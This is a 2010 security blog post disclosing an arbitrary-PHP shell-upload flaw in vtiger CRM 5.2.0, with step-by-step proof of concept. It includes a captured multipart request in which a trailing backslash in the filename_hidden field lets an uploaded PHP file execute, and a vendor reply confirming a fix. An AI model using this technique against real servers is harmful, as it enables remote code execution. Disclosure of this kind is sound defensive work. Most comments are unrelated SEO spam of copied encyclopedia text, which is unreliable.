This site is soon to be deprecated by http://www.johnleitch.net

Friday, May 21, 2010

vtiger CRM 5.2.0 Shell Upload

A shell upload vunlerability in vtiger CRM 5.2.0 can be exploited to execute arbitrary PHP.

Exploit
Upload a PHP file and append a backslash to the filename_hidden value.


PoC

  1. Login and navigate to http://localhost/index.php?action=upload&module=uploads and upload a PHP file.

  2. Capture the packet using a debugging proxy, append a backslash to the filename_hidden value, and submit it. e.g.

    ------WebKitFormBoundaryihWhA69lH4hKrGBy
    Content-Disposition: form-data; name="filename_hidden"

    shell.php\

  3. Navigate to the uploaded file http://localhost/storage/{Year}/{Month}/{Week}/{file} e.g. http://localhost/storage/2010/May/week3/shell.php

32 comments:

  1. Hi,

    i have been trying to reproduce this issue, with a local setup with help of fiddler(windows). so far its behaviour is as it should be, it is treating the file as a text file, the file in question is uploaded as '12223_filename.php\'
    when access this file its treated as a text file. if there is some information that im missing please share the same.

    Thanks,
    MAK

    ReplyDelete
  2. Musavir,

    I just tested it again and it appears to work. Below some some more relevant info.

    POST http://localhost/index.php?module=uploads&action=add2db&return_module= HTTP/1.1
    Host: localhost
    Connection: keep-alive
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.55 Safari/533.4
    Referer: http://localhost/index.php?action=upload&module=uploads
    Content-Length: 1009
    Cache-Control: max-age=0
    Origin: http://localhost
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydA36exIbEJE58iyg
    Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Accept-Encoding: gzip,deflate,sdch
    Accept-Language: en-US,en;q=0.8
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: timezone=0; PHPSESSID=f23a1f80cb14f435dd1bb5430496b365; ck_login_id_vtiger=1; ck_login_theme_vtiger=softed; ck_login_language_vtiger=en_us

    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="MAX_FILE_SIZE"

    3000000
    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="return_module"


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="return_action"


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="return_id"


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="uploadsubject"

    a
    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="filename"; filename="shell.php"
    Content-Type: application/octet-stream


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="filename_hidden"

    shell.php\
    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="txtDescription"


    ------WebKitFormBoundarydA36exIbEJE58iyg
    Content-Disposition: form-data; name="save"

     Attach 
    ------WebKitFormBoundarydA36exIbEJE58iyg--




    HTTP/1.1 200 OK
    Date: Fri, 28 May 2010 19:32:57 GMT
    Server: Apache/2.0.52 (Win32) PHP/5.2.6
    X-Powered-By: PHP/5.2.13
    Set-Cookie: PHPSESSID=f23a1f80cb14f435dd1bb5430496b365; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Set-Cookie: ck_login_id_vtiger=1
    Set-Cookie: ck_login_theme_vtiger=softed
    Set-Cookie: ck_login_language_vtiger=en_us
    Content-Length: 1724
    Keep-Alive: timeout=10, max=300
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8

    [trimmed]



    GET http://localhost/storage/2010/May/week4/16_shell.php HTTP/1.1
    Host: localhost
    Connection: keep-alive
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.55 Safari/533.4
    Referer: http://localhost/storage/2010/May/week4/
    Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Accept-Encoding: gzip,deflate,sdch
    Accept-Language: en-US,en;q=0.8
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: timezone=0; PHPSESSID=f23a1f80cb14f435dd1bb5430496b365; ck_login_id_vtiger=1; ck_login_theme_vtiger=softed; ck_login_language_vtiger=en_us



    HTTP/1.1 200 OK
    Date: Fri, 28 May 2010 19:33:36 GMT
    Server: Apache/2.0.52 (Win32) PHP/5.2.6
    X-Powered-By: PHP/5.2.13
    Content-Length: 11
    Keep-Alive: timeout=10, max=299
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8

    hello world

    ReplyDelete
  3. John Leitch : Your User-Agent "Chrome/5.0.375.55 Safari/533.4"

    Is it Safari browser or Google Chrome ?

    ReplyDelete
  4. Hi,

    I'm able to reproduce this error, we have added fix, which should be available with next release, which is vtiger crm 5.2.0 RC.

    ReplyDelete
  5. OptoIC offers a wide range of dual LC SFP optical transceivers that comply with industry standard Small Form Pluggable (SFP) Multi-Source Agreement (MSA). The optical transceivers support serial ID and Digital Diagnostic Monitoring (DDM) interface through the 2-wire serial bus. The package is hot pluggable with a 20-pin edge connector.

    ethernet sfp
    Small business computer support

    ReplyDelete
  6. Success comes with knowing what to do, planning your steps and taking action faithfully, until you achieve your goals. Since I've started using the powers of persuasion as a foundation for community fundraising through relationship building, I've found my fundraising surprisingly painless. Quite often it's been lot of fun! "How can you find fundraising fun?" I hear you ask.

    Passages Malibu Treatment
    alarm service companies

    ReplyDelete
  7. hotels in edinburghSki ModeHarry, Ron, and Hermione recover the first horcrux, Salazar Slytherin's locket, by infiltrating the Ministry of Magic. Under the object's evil influence and the stress of being on the run, Ron leaves the others. A mysterious silver doe leads Harry to the Sword of Godric Gryffindor, among the few objects able to destroy horcruxes. When Harry attempts to recover the sword, the horcrux attempts to kill him. Ron reappears, saving Harry and using the sword to destroy the locket. Resuming their search, the trio repeatedly encounter a strange symbol, that an eccentric wizard named Xenophilius Lovegood tells

    ReplyDelete
  8. Top 10 Credit CardsOcean front properties Many of the articles are of poor quality and some mainstream encyclopedia topics are not covered adequately. In addition, the average article length is only a little over half the size of that in Encyclopædia Britannica, although many major articles are considerably longer.[citation needed] Over time the balance of the editorial effort is expected to slowly tilt towards a greater emphasis on increasing the quality, scope, classification and interlinkage of existing articles. However, new articles will probably always be created in large numbers, as Wikipedia's conventions on acceptable article topics incorporate huge numbers of potential new articles every year (newly prominent people, current events, media products, physical products, etc). In mid 2006 the rate of new article creation was still rising, but only slowly. As of January 2007 it looks as if the rate of article creation may have peaked in mid 2006, though it would be premature to state that it did so for certain. See Wikipedia:Modelling Wikipedia's growth for more on Wikipedia's growth rate and expected future size.

    ReplyDelete
  9. Countries such as the Philippines, Jamaica and Nigeria also have millions of native speakers of dialect continua ranging from an English-based creole to a more standard version of English. Of those nations where English is spoken as a second language, India has the most such speakers ('Indian English'). Crystal claims that, combining native and non-native speakers, India now has more people who speak or understand English than any other country in the world.vestido de noviachristmas scavenger hunt

    ReplyDelete
  10. Molecular evidence does not prove or disprove any of these theories, or any other related theories that are not suggested here. It is not quite definitive where the bandicoot sits exactly in the tree of life, but whatever the case, it seems that the relationship between the bandicoots and bilbies with the other orders is a distant one.onlyherbal vaporizer

    ReplyDelete
  11. Essay writingCasas RuralesWigan Warriors is an English rugby league club based in Wigan, Greater Manchester who play in the Super League.[1] They are the current Challenge Cup holders.[2]
    Founded in 1872, Wigan was a founding member of the Northern Rugby Football Union following the schism from the Rugby Football Union in 1895.

    ReplyDelete
  12. Retirement PlanningVacation DealsStates until the Civil War. The Whigs were a commercial party, and usually less popular, if better financed. The Whigs divided over the slavery issue after the Mexican–American War and faded away. In the 1850s, under the stress of the Fugitive Slave Law and the Kansas–Nebraska Act, anti-slavery Democrats left the party. Joining with former members of existing or dwindling parties, the Republican Party emerged.

    ReplyDelete
  13. eames loungeiphone 4 screen repairThese plasmids also alter the player's appearance to reflect "sacrificing one's humanity".[33] "Tonics" are passive plasmids and require no EVE to gain their benefit; the player can only equip a limited number of plasmids and tonics at any time.[34] Tonics can increase Jack's strength and resistance to damage or make hacking machines easier. The game encourages the use of creative combination of plasmids, weapons, and the use of the environment.[35]These plasmids also alter the player's appearance to reflect "sacrificing one's humanity".[33] "Tonics" are passive plasmids and require no EVE to gain their benefit; the player can only equip a limited number of plasmids and tonics at any time.[34] Tonics can increase Jack's strength and resistance to damage or make hacking machines easier. The game encourages the use of creative combination of plasmids, weapons, and the use of the environment.

    ReplyDelete
  14. This comment has been removed by the author.

    ReplyDelete
  15. Limo Services In Baltimorebusiness developmentIn 1999 Anfield was packed with a crowd of around 10,000 people ten years on from the disaster.[31] An individual candle was lit for each of the 96 people killed. The clock at the Kop End stood still at 3:06 pm, the exact time that the referee had blown his whistle in 1989 and the ground held a minute's silence, signalled by the match referee from that day, Ray Lewis. A service was led by the Right Reverend James Jones, the Bishop of Liverpool and was attended by past and present Liverpool players, including Robbie Fowler, Steve McManaman and Alan Hansen.

    ReplyDelete
  16. profesores particulares de matematicas en barcelonaOpodo Discount CodesThis episode was originally broadcast with a laugh track — the only Twilight Zone episode to feature one — because this episode was intended as a backdoor pilot for a regular comedy series featuring the Cavender character. The version airing in the US on Sci Fi Channel has the laugh track removed.

    ReplyDelete
  17. Small Business Web Hostingtijdelijk werkFrom this time, Edward gained a reputation as a playboy. Determined to get some army experience, Edward attended manoeuvres in Ireland, during which an actress, Nellie Clifden, was hidden in his tent by his fellow officers. Prince Albert, though ill, was appalled and visited Edward at Cambridge to issue a reprimand. Albert died in December 1861 just two weeks after the visit.

    ReplyDelete
  18. document imaging systems
    Dentist In Colorado SpringsThe 33 volumes of the second series use the pseudonym Victor Appleton II. The character first appeared in 1910. New titles have been published as recently as 2007. Most of the various series focus on Tom’s inventions, a number of which anticipated actual inventions.

    ReplyDelete
  19. send cookies
    stainless steel flangesEloise came ashore along the coast of northern Florida as a Category 3 storm producing winds of 90 mph (140 km/h) with gusts that reached 155 mph (249 km/h).[1] Sustained winds were likely higher, but due to the sparsity of recording stations, few official records exist.

    ReplyDelete
  20. chauffeur service sydney

    pmp pmbok
    Hi. Your blog is so beautiful, it's very logical layout. I also want to make a good blog like yours but not impossible.

    ReplyDelete
  21. Hi. Your blog is so beautiful, it's very logical layout. I also want to make a good blog like yours but not impossible.
    I was lucky to know your blog, I will visit often. This article is very interesting and meaningful. Thank you very much. Hope you do not delete my signature ! Thank you very much! :)
    Catholic view on masturbation

    white gold charms

    ReplyDelete
  22. replicas de relogios Cartier

    Phen375West Asians and Arabs concentrate in the eastern half of North York. Additionally, Iranians have a distinctive presence on the north end of Yonge Street. There is also a large percentage of Middle Easterns along Don Mills Road. The neighbourhoods with the largest percentage of Middle Easterns in North York are Graydon Hall and the Shaughnessy area in Don Valley Village with 17%.

    ReplyDelete
  23. psicologos villanueva pardillo

    discount designer handbagsMany of the articles are of poor quality and some mainstream encyclopedia topics are not covered adequately. In addition, the average article length is only a little over half the size of that in Encyclopædia Britannica, although many major articles are considerably longer.

    ReplyDelete
  24. Although the annual distribution of food and drink is known to have taken place since at least 1605, no records exist of the story of the sisters prior to 1770. Records of that time say that the names of the sisters were not known, and early drawings of Biddenden cakes do not give names for the sisters; it is not until the early 19th century that the names "Mary and Eliza Chulkhurst" were first used.cosmetic dentist dublin

    cartoon vector illustration

    ReplyDelete
  25. The Brazilian Federation is the "indissoluble union" of three distinct political entities: the States, the Municipalities and the Federal District.[14] The Union, the states and the Federal District, and the municipalities, are the "spheres of government." The Federation is set on five fundamental principles:
    Ionic Cleanse

    psicologia las rozas

    ReplyDelete
  26. The majority of African Americans are Protestant of whom many follow the historically black churches.[72] Black church refers to churches which minister predominantly African American congregations. Black congregations were first established by freed slaves at the end of the 17th century, and later when slavery was abolished more African Americans were allowed to create a unique form of Christianity that was culturally influenced by African spiritual traditions.
    stroke pain

    VoucherCodesNet

    ReplyDelete
  27. There are seven Latin noun cases, which also apply to adjectives and pronouns. These mark a noun's syntactic role in the sentence, so word order is not as important in Latin as it is in some other languages, such as English. Words can typically be moved around in a sentence without significantly altering its meaning, although the emphasis may have been altered. The cases are:
    com domain

    florida web design

    ReplyDelete